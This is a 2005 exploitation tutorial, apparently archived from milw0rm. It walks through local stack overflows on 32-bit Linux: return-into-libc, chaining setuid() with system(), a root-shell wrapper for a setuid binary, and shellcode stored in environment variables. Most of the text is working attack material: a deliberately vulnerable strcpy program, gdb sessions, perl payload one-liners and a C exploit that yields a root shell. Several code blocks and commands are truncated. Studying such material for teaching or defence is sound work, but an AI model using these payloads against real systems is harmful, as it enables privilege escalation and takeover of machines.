Local Stack Overflow (Advanced Module)









                        Gotfault Security Community
---------[ Chapter : 0x200                                      ]
---------[ Subject : Local Stack Overflow (Advcanced Module)    ]
---------[ Author  : xgc/dx A.K.A Thyago Silva                  ]
---------[ Date    : 09/10/2005                                 ]
---------[ Version : 2.1                                        ]
---------[ Table of Contents ]
  0x210 - Objective
  0x220 - Requisites
  0x230 - Introduction to Returning Into Libc
  0x240 - Introduction to System Function 
  0x250 - Analysis of Vulnerable Source Code
  0x260 - Getting Informations
  0x270 - Returning Into System Function 
  0x280 - Setuid Call
  0x290 - Using Wrapper
  0x2a0 - Using Environment to Small Buffers
  0x2b0 - Analisys of Exploit Source C Code
  0x2c0 - Conclusion
---------[ 0x210 - Objective ]

Execute code when the stack has enable to don't execute code.
Execute code when buffer isn't big enough for the shellcode.

---------[ 0x220 - Requisites ]

Introduction to Local Stack Overflow (Basic Module).

---------[ 0x230 - Introduction to Returning Into Libc ]

Most applications never need to execute anything on the stack, so an obvious defense
against buffer overflow exploits is to make the stack non-executable. When this is done,
shellcode existing anywhere on the stack is basically useless.

This type of defense will stop the majority of exploits out there, and it is becoming more
popular. The latest version of OpenBSD has a non-executable stack by default.
Of course, there is a corresponding technique that can be used to exploit programs in an
environment with a non-executable stack. This technique is known as returning into libc.

Libc is a standard C library that contains various basic functions, like printf() and exit().
These functions are shared, so any program that uses the printf() function directs execution
into the appropriate location in libc. An exploit can do the exact same thing and direct a
program's execution into a certain function in libc. The functionality of the exploit is 
limited by the functions in libc, which is a significant restriction when compared to 
arbitrary shellcode. However, nothing is ever executed on the stack.

---------[ 0x240 - Introduction to System Function ]

A point of interest is how to get the argument to system function. Essentially, what we do
is pass a pointer to the string (/bin/sh) we want executed. We know that normally when a 
program executes a function the arguments get pushed onto the stack in reverse order.
It is what happens next that is of interest to us and will allow us to pass parameters to
system function.

First, a CALL instruction is executed. This CALL will push the address of the next instruction
(where we want to return to) onto the stack. It will also decrement ESP by 4. When we return from
a function called, RET (or EIP) will be popped off the stack. ESP is then set to the address
directly following RET.

Now comes the actual return to system function. Called function assumes that ESP is already
pointing to the address that should be returned to. It is going to also assume that the 
parameters are sitting there waiting for it on the stack, starting with the first argument 
following RET. This is normal stack behavior described at basic module. We set the return to
system function and the argument (in our example, this will be a pointer to /bin/sh) in those
8 bytes. When Called function returns, it will return into system function, and its has our 
values waiting for it on the stack.

Now you need to understand the basics of the technique. Let.s take a look at the preparatory
work we must accomplish in order to make a Return to libc exploit via system function:

   1. Get the address of system().
   2. Get the address of exit().
   3. Get the address of string "/bin/sh".

---------[ 0x250 - Analysis of Vulnerable Source Code ]

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {

  char buff[4];

  if(argc != 2) {
    printf("Needs an argument!\n");

  strcpy(buff, argv[1]);

  return 1;

This program allows anybody, who exceeds the bounds of the variable buff, to overwrite
data on the stack. It would usually be quite easy to write an exploit for the above example
program, but let's assume that at our system was enabled a non-executable stack as a security

---------[ 0x260 - Getting Informations ]

The location of the system and exit functions in libc must be determined. This will be different
for every system, but once the location is known, it will remain the same until libc is recompiled.
One of the easiest ways to find the location of a libc function is to create a simple dummy program
and debug it.

#include <stdio.h>

int main() {

  return 1;

[xgc@knowledge:~]$ gcc -o dummy dummy.c -Wall
[xgc@knowledge:~]$ gdb ./dummy -q
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x804835a
(gdb) run
Starting program: /home/xgc/dummy

Breakpoint 1, 0x0804835a in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0x4005b810 <system>
(gdb) print exit
$2 = {<text variable, no debug info>} 0x40046b00 <exit>

I ran gdb ready to debug our dummy program, and told to report breakpoint before running the 
dummy program.  By examining the report, I get the location of the libc function system and
exit in memory. However, we still need to know how we can store the string "/bin/sh" in memory
and ultimately reference it whenever needed.

Maybe we could use an environmental variable to hold the string? Yes, an environmental variable
would be ideal for this task, so let's create and use an environment variable called KNOWLEDGE to 
store our string ("/bin/sh"). But how are we going to know the memory address of our environment
variable and our string ? We can write a simple utility program to grab the memory address of the
environmental variable. Consider the following code:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {

  char *pointer;

  if(argc != 2) {
    printf("Usage: %s <variable>\n", argv[0]);

  pointer = getenv(argv[1]);

  if(pointer == NULL) {
    printf("Environmental variable %s does not exist!\n", argv[1]);

  printf("%s is stored at address 0x%08x\n", argv[1], pointer);
  return 1;

[xgc@knowledge:~]$ export KNOWLEDGE="/bin/sh"
[xgc@knowledge:~]$ gcc -o catch catch.c
[xgc@knowledge:~]$ ./catch KNOWLEDGE
KNOWLEDGE is stored at address 0xbfffffe2

So now, we have all necessary informations to exploit the vulnerable source code given.
The layout of our malicious buffer will looks like:

	|   data to overflow buffer     |   &system   |   &exit    |   /bin/sh  |

We choice exit address becouse this will be where system call returns. It's just for
a clean exploit effect.

---------[ 0x270 - Returning Into system function ]

With the informations, now we need to:

   1. Fill the vulnerable buffer up to the return address with garbage data;
   2. Overwrite the return address with the address of system();
   3. Follow system() with the address of exit(),
   4. Append the address of "/bin/sh" string.

[xgc@knowledge:~]$ gcc -o adv_stack adv_stack.c -Wall
[xgc@knowledge:~]$ gdb ./adv_stack -q
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) run `perl -e 'print "A"x10'`
Starting program: /home/xgc/adv_stack `perl -e 'print "A"x10'`

Program received signal SIGSEGV, Segmentation fault.
0x40004141 in _dl_dst_substitute () from /lib/ld-linux.so.2
(gdb) run `perl -e 'print "A"x12'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/xgc/adv_stack `perl -e 'print "A"x12'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

EIP register was overwrite with buffer size: 12bytes.

So, process layout will looks like:

	|            08 A's         |   0x4005b810   |  0x40046b00  |  0xbfffffe2  |
		   args         EBP           EIP

[xgc@knowledge:~]$ gdb ./adv_stack -q
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disassemble main
Dump of assembler code for function main:
0x080483f4 <main+0>:    push   %ebp
0x080483f5 <main+1>:    mov    %esp,%ebp
0x080483f7 <main+3>:    sub    $0x18,%esp
0x080483fa <main+6>:    and    $0xfffffff0,%esp
0x080483fd <main+9>:    mov    $0x0,%eax
0x08048402 <main+14>:   sub    %eax,%esp
0x08048404 <main+16>:   cmpl   $0x2,0x8(%ebp)
0x08048408 <main+20>:   je     0x8048422 <main+46>
0x0804840a <main+22>:   movl   $0x8048554,(%esp)
0x08048411 <main+29>:   call   0x80482f8 <_init+56>
0x08048416 <main+34>:   movl   $0xffffffff,(%esp)
0x0804841d <main+41>:   call   0x8048308 <_init+72>
0x08048422 <main+46>:   mov    0xc(%ebp),%eax
0x08048425 <main+49>:   add    $0x4,%eax
0x08048428 <main+52>:   mov    (%eax),%eax
0x0804842a <main+54>:   mov    %eax,0x4(%esp)
0x0804842e <main+58>:   lea    0xfffffffc(%ebp),%eax
0x08048431 <main+61>:   mov    %eax,(%esp)
0x08048434 <main+64>:   call   0x8048318 <_init+88>
0x08048439 <main+69>:   mov    $0x1,%eax
0x0804843e <main+74>:   leave
0x0804843f <main+75>:   ret
---Type <return> to continue, or q <return> to quit---
End of assembler dump.
(gdb) break *main+75
Breakpoint 1 at 0x804843f
(gdb) display/1i $eip
(gdb) run testing.
Starting program: /home/xgc/adv_stack testing.

Breakpoint 1, 0x0804843f in main ()
1: x/i $eip  0x804843f <main+75>:       ret
(gdb) run testing.
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/xgc/adv_stack testing.

Breakpoint 1, 0x0804843f in main ()
1: x/i $eip  0x804843f <main+75>:       ret
(gdb) x/s 0xbffffffa-50
0xbfffffc8:      ".28.151.26 22"
0xbfffffd6:      "KNOWLEDGE=/bin/sh"
(gdb) x/s 0xbfffffd6+10
0xbfffffe0:      "/bin/sh"
(gdb) run `perl -e 'print "A"x8,"\x10\xb8\x05\x40","\x01\x6b\x04\x40","\xe0\xff\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/xgc/adv_stack `perl -e 'print "A"x8,"\x10\xb8\x05\x40","\x01\x6b\x04\x40",

Breakpoint 1, 0x0804843f in main ()
1: x/i $eip  0x804843f <main+75>:       ret
(gdb) continue

---------[ 0x280 - Setuid Call ]

In a BugTraq post, Solar Designer suggested chaining libc calls so a setuid() executes
before the system() call to restore privileges. This chaining can be done by taking advantage
of the return address value that was previously ignored. The following series of addresses will
chain a call from setuid() to system(), as shown in this illustration.

	|      garbage    |   &setuid   |   &system   |   setuid_arg  |   system_arg  |

The setuid() call will execute with its argument. Because it's only expecting one argument,
the argument for the system() call will be ignored. After it's finished, execution will
return to the system() function, which will use its argument as expected.

The idea of chaining calls is quite clever, but there are other problems inherent in this
method of restoring privileges.

The setuid() argument is expecting an unsigned integer value, so in order to restore root
level privileges, this value must be 0x00000000. Unfortunately, the buffer is still a string
that will be terminated by null bytes. Avoiding the use of null bytes, the lowest value that
can be used for this argument is 0x01010101, which has a decimal value of 16843009. While this
isn't quite the desired result, the concept of chaining calls still important.

[xgc@knowledge:~]$ gdb ./dummy -q
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x804835a
(gdb) run
Starting program: /home/xgc/dummy

Breakpoint 1, 0x0804835a in main ()
(gdb) print setuid
$1 = {<text variable, no debug info>} 0x400c3850 <setuid>

Now let's run again the program with informations about layout given:

[root@knowledge:/home/xgc]# chown root.root adv_stack
[root@knowledge:/home/xgc]# chmod +s adv_stack
[root@knowledge:/home/xgc]# exit
[xgc@knowledge:~]$ ./adv_stack `perl -e 'print 
Segmentation fault
[xgc@knowledge:~]$ ./adv_stack `perl -e 'print 
sh: line 1: in/sh: Permission denied
Segmentation fault
[xgc@knowledge:~]$ ./adv_stack `perl -e 'print 
sh-2.05b$ id
uid=16843009 gid=1000(xgc) egid=0(root) groups=1000(xgc)

The address of the setuid() function is determined the same way as before, and the chained 
libc call is set up as described previously. As expected, the uid is set to 16843009, but this
is still far from a root shell. Somehow, a setuid(0) call must be made without terminating the
string early with null bytes.

---------[ 0x290 - Using Wrapper ]

One simple and effective solution is to create a wrapper program. This wrapper will set the user ID (and group ID)
to 0 and then spawn a shell. This program doesn't need any special privileges, because the vulnerable suid root
program will be executing it.

#include <stdio.h>
#include <stdlib.h>

int main() {


[xgc@knowledge:~]$ export WRAPPER="./wrapper"
[xgc@knowledge:~]$ ./catch WRAPPER
WRAPPER is stored at address 0xbffffefa

So, process layout will looks like:

	|            08 A's         |   0x4005b810   |  0x40046b00  |  0xbffffef2  |
		   args         EBP           EIP

[xgc@knowledge:~]$ ./adv_stack `perl -e 'print "A"x8,"\x10\xb8\x05\x40","\x01\x6b\x04\x40","\xf2\xfe\xff\xbf"'`
sh-2.05b# id
uid=0(root) gid=0(root) groups=1000(xgc)

---------[ 0x2a0 - Using Environment to Small Buffers ]

Sometimes a buffer will be too small to even fit shellcode into. In this case, the shellcode
can be stashed in an environment variable. Environment variables are used by the user shell for
a variety of things, but the key point of interest is that they are stored in an area of memory
that program execution can be redirected to. So if a buffer is too small to fit the NOP sled,
shellcode, and repeated return address, the sled and shellcode can be stored in an environment
variable with the return address pointing to that address in memory. Here is the vulnerable
piece of code, using a buffer that is too small for shellcode:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {

  char buff[4];

  if(argc != 2) {
    printf("Needs an argument!\n");

  strcpy(buff, argv[1]);

  return 1;

Because the buffer is only four bytes long, there is no space for shellcode to be inserted.
It must be stored elsewhere. One ideal candidate for holding the shellcode is an environment

execle() function has one additional argument, which is the environment that the executing
process should run under. This environment is presented in the form of an array of pointers to
null-terminated strings for each environment variable, and the environment array itself is
terminated with a null pointer.

This means that an environment containing shellcode can be created by using an array of pointers,
the first of which points to the shellcode, and the second consisting of a null pointer.

Then the execle() function can be called using this environment to execute the second vulnerable
program, overflowing the return address with the address of the shellcode. Luckily, the address of
an environment invoked in this manner is easy to calculate. In Linux, the address will be 0xbffffffa,
minus the length of the environment, minus the length of the name of the executed program. Because
this address will be exact, there is no need for an NOP sled. All that's needed in the exploit buffer
is the address, repeated enough times to overflow the return address in the stack.

Of course, this technique can also be used without an exploit program. In the bash shell, environment
variables are set and exported using export VARNAME=value. Using export, Perl, and a few pairs of
grave accents, the shellcode and a generous NOP sled can be put into the current environment:

[xgc@knowledge:~]$ export SHELLCODE=`perl -e 'print "\x90"x10,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3

Let's see where environment variable SHELLCODE is located inside GDB:

[xgc@knowledge:~]$ gdb ./adv_stack -q
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) run `perl -e 'print "A"x12'`
Starting program: /home/xgc/adv_stack `perl -e 'print "A"x12'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/128bx $esp
0xbffffad0:     0x00    0x00    0x00    0x00    0x24    0xfb    0xff    0xbf
0xbffffad8:     0x30    0xfb    0xff    0xbf    0x30    0x83    0x04    0x08
0xbffffae0:     0x00    0x00    0x00    0x00    0xd0    0xbc    0x00    0x40
0xbffffae8:     0x74    0xbd    0x14    0x40    0xa0    0x6c    0x01    0x40
0xbffffaf0:     0x02    0x00    0x00    0x00    0x30    0x83    0x04    0x08
0xbffffaf8:     0x00    0x00    0x00    0x00    0x51    0x83    0x04    0x08
0xbffffb00:     0xf4    0x83    0x04    0x08    0x02    0x00    0x00    0x00
0xbffffb08:     0x24    0xfb    0xff    0xbf    0x40    0x84    0x04    0x08
0xbffffb10:     0xa0    0x84    0x04    0x08    0x80    0xc3    0x00    0x40
0xbffffb18:     0x1c    0xfb    0xff    0xbf    0x00    0x00    0x00    0x00
0xbffffb20:     0x02    0x00    0x00    0x00    0x07    0xfc    0xff    0xbf
0xbffffb28:     0x1b    0xfc    0xff    0xbf    0x00    0x00    0x00    0x00
0xbffffb30:     0x28    0xfc    0xff    0xbf    0x55    0xfc    0xff    0xbf
0xbffffb38:     0x65    0xfc    0xff    0xbf    0x70    0xfc    0xff    0xbf
0xbffffb40:     0x91    0xfc    0xff    0xbf    0xa4    0xfc    0xff    0xbf
0xbffffb48:     0xad    0xfc    0xff    0xbf    0xe2    0xfe    0xff    0xbf
0xbffffb50:     0xed    0xfe    0xff    0xbf    0xff    0xfe    0xff    0xbf
0xbffffb58:     0x39    0xff    0xff    0xbf    0x4c    0xff    0xff    0xbf
0xbffffb60:     0x58    0xff    0xff    0xbf    0x66    0xff    0xff    0xbf
0xbffffb68:     0x71    0xff    0xff    0xbf    0x7a    0xff    0xff    0xbf
0xbffffb70:     0x89    0xff    0xff    0xbf    0x91    0xff    0xff    0xbf
0xbffffb78:     0xa9    0xff    0xff    0xbf    0xb5    0xff    0xff    0xbf
0xbffffb80:     0x00    0x00    0x00    0x00    0x10    0x00    0x00    0x00
0xbffffb88:     0xbf    0xfb    0xe9    0x07    0x06    0x00    0x00    0x00
0xbffffb90:     0x00    0x10    0x00    0x00    0x11    0x00    0x00    0x00
0xbffffb98:     0x64    0x00    0x00    0x00    0x03    0x00    0x00    0x00
0xbffffba0:     0x34    0x80    0x04    0x08    0x04    0x00    0x00    0x00
0xbffffba8:     0x20    0x00    0x00    0x00    0x05    0x00    0x00    0x00
0xbffffbb0:     0x07    0x00    0x00    0x00    0x07    0x00    0x00    0x00
0xbffffbb8:     0x00    0x00    0x00    0x40    0x08    0x00    0x00    0x00
0xbffffbc0:     0x00    0x00    0x00    0x00    0x09    0x00    0x00    0x00
0xbffffbc8:     0x30    0x83    0x04    0x08    0x0b    0x00    0x00    0x00
0xbffffbd0:     0xe8    0x03    0x00    0x00    0x0c    0x00    0x00    0x00
0xbffffbd8:     0xe8    0x03    0x00    0x00    0x0d    0x00    0x00    0x00
0xbffffbe0:     0xe8    0x03    0x00    0x00    0x0e    0x00    0x00    0x00
0xbffffbe8:     0xe8    0x03    0x00    0x00    0x0f    0x00    0x00    0x00
0xbffffbf0:     0x02    0xfc    0xff    0xbf    0x00    0x00    0x00    0x00
0xbffffbf8:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xbffffc00:     0x00    0x00    0x69    0x36    0x38    0x36    0x00    0x2f
0xbffffc08:     0x68    0x6f    0x6d    0x65    0x2f    0x78    0x67    0x63
0xbffffc10:     0x2f    0x61    0x64    0x76    0x5f    0x73    0x74    0x61
0xbffffc18:     0x63    0x6b    0x00    0x41    0x41    0x41    0x41    0x41
0xbffffc20:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x00
0xbffffc28:     0x53    0x48    0x45    0x4c    0x4c    0x43    0x4f    0x44
0xbffffc30:     0x45    0x3d    0x90    0x90    0x90    0x90    0x90    0x90
0xbffffc38:     0x90    0x90    0x90    0x90    0x31    0xc0    0x50    0x68
0xbffffc40:     0x2f    0x2f    0x73    0x68    0x68    0x2f    0x62    0x69
0xbffffc48:     0x6e    0x89    0xe3    0x50    0x53    0x89    0xe1    0x99
(gdb) x/3s 0xbffffc18
0xbffffc18:      "ck"
0xbffffc1b:      'A' <repeats 12 times>
0xbffffc28:      "SHELLCODE=\220\220\220\220\220\220\220\220\220\2201ÀPh//shh/bin\211ãPS\211á\231°\vÍ\200"
(gdb) x/s 0xbffffc28+10
0xbffffc32:      "\220\220\220\220\220\220\220\220\220\2201ÀPh//shh/bin\211ãPS\211á\231°\vÍ\200"

After finding the address where the environment variable SHELLCODE is located, the command x/s is used to
examine just that string. But this address includes the string "SHELLCODE=", so 16 bytes are added to the 
address to provide an address that is located somewhere in the NOP sled.

The debugger has revealed that the address 0xbffffc32 is right near the beginning of the NOP sled, and
the shellcode is stored in the environment variable SHELLCODE. Armed with this knowledge, some more Perl,
the vulnerable program can be exploited, as follows.

[xgc@knowledge:~]$ ./adv_stack `perl -e 'print "\x32\xfc\xff\xbf"x3'`

---------[ 0x2b0 - Analisys of Exploit Source C Code ]

Now let's check some exploit source C code:

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

/* here is a shellcode variable */

char shellcode[] =


int main() {

/* we already know that eip is overwritten with 12bytes */

  char buff[12];

/* envp is an array of strings, conventionally of the form key=value, which are passed as environment
   to the new program. we've put shellcode there. */

  char *env[2] = {shellcode,NULL};

  int i, retaddr, *pointer;

/* here is our simple formula to get shellcode location */

  retaddr = 0xbffffffa - strlen(shellcode) - strlen("./adv_stack");

/* build a loop to add return address many times into the buff. (retx3) = 12bytes */

  pointer = (int *)(buff);
  for(i = 0; i < sizeof(buff); i += 4)
  *pointer++ = retaddr;

/* here execle executes the vulnerable source code with buff and the env at envp */

  execle("./adv_stack", "adv_stack", buff, NULL, env);

  return 0;

[xgc@knowledge:~]$ gcc -o exploit exploit.c -Wall
[xgc@knowledge:~]$ ./exploit

---------[ 0x2c0 - Conclusion ]

Methods if the buffer isn't big enough for the shellcode or if some Stack
protections are installed have been described. With that, codes not need to
be at stack memory and can be bypassed using environmental variable address.


# milw0rm.com [2006-03-09]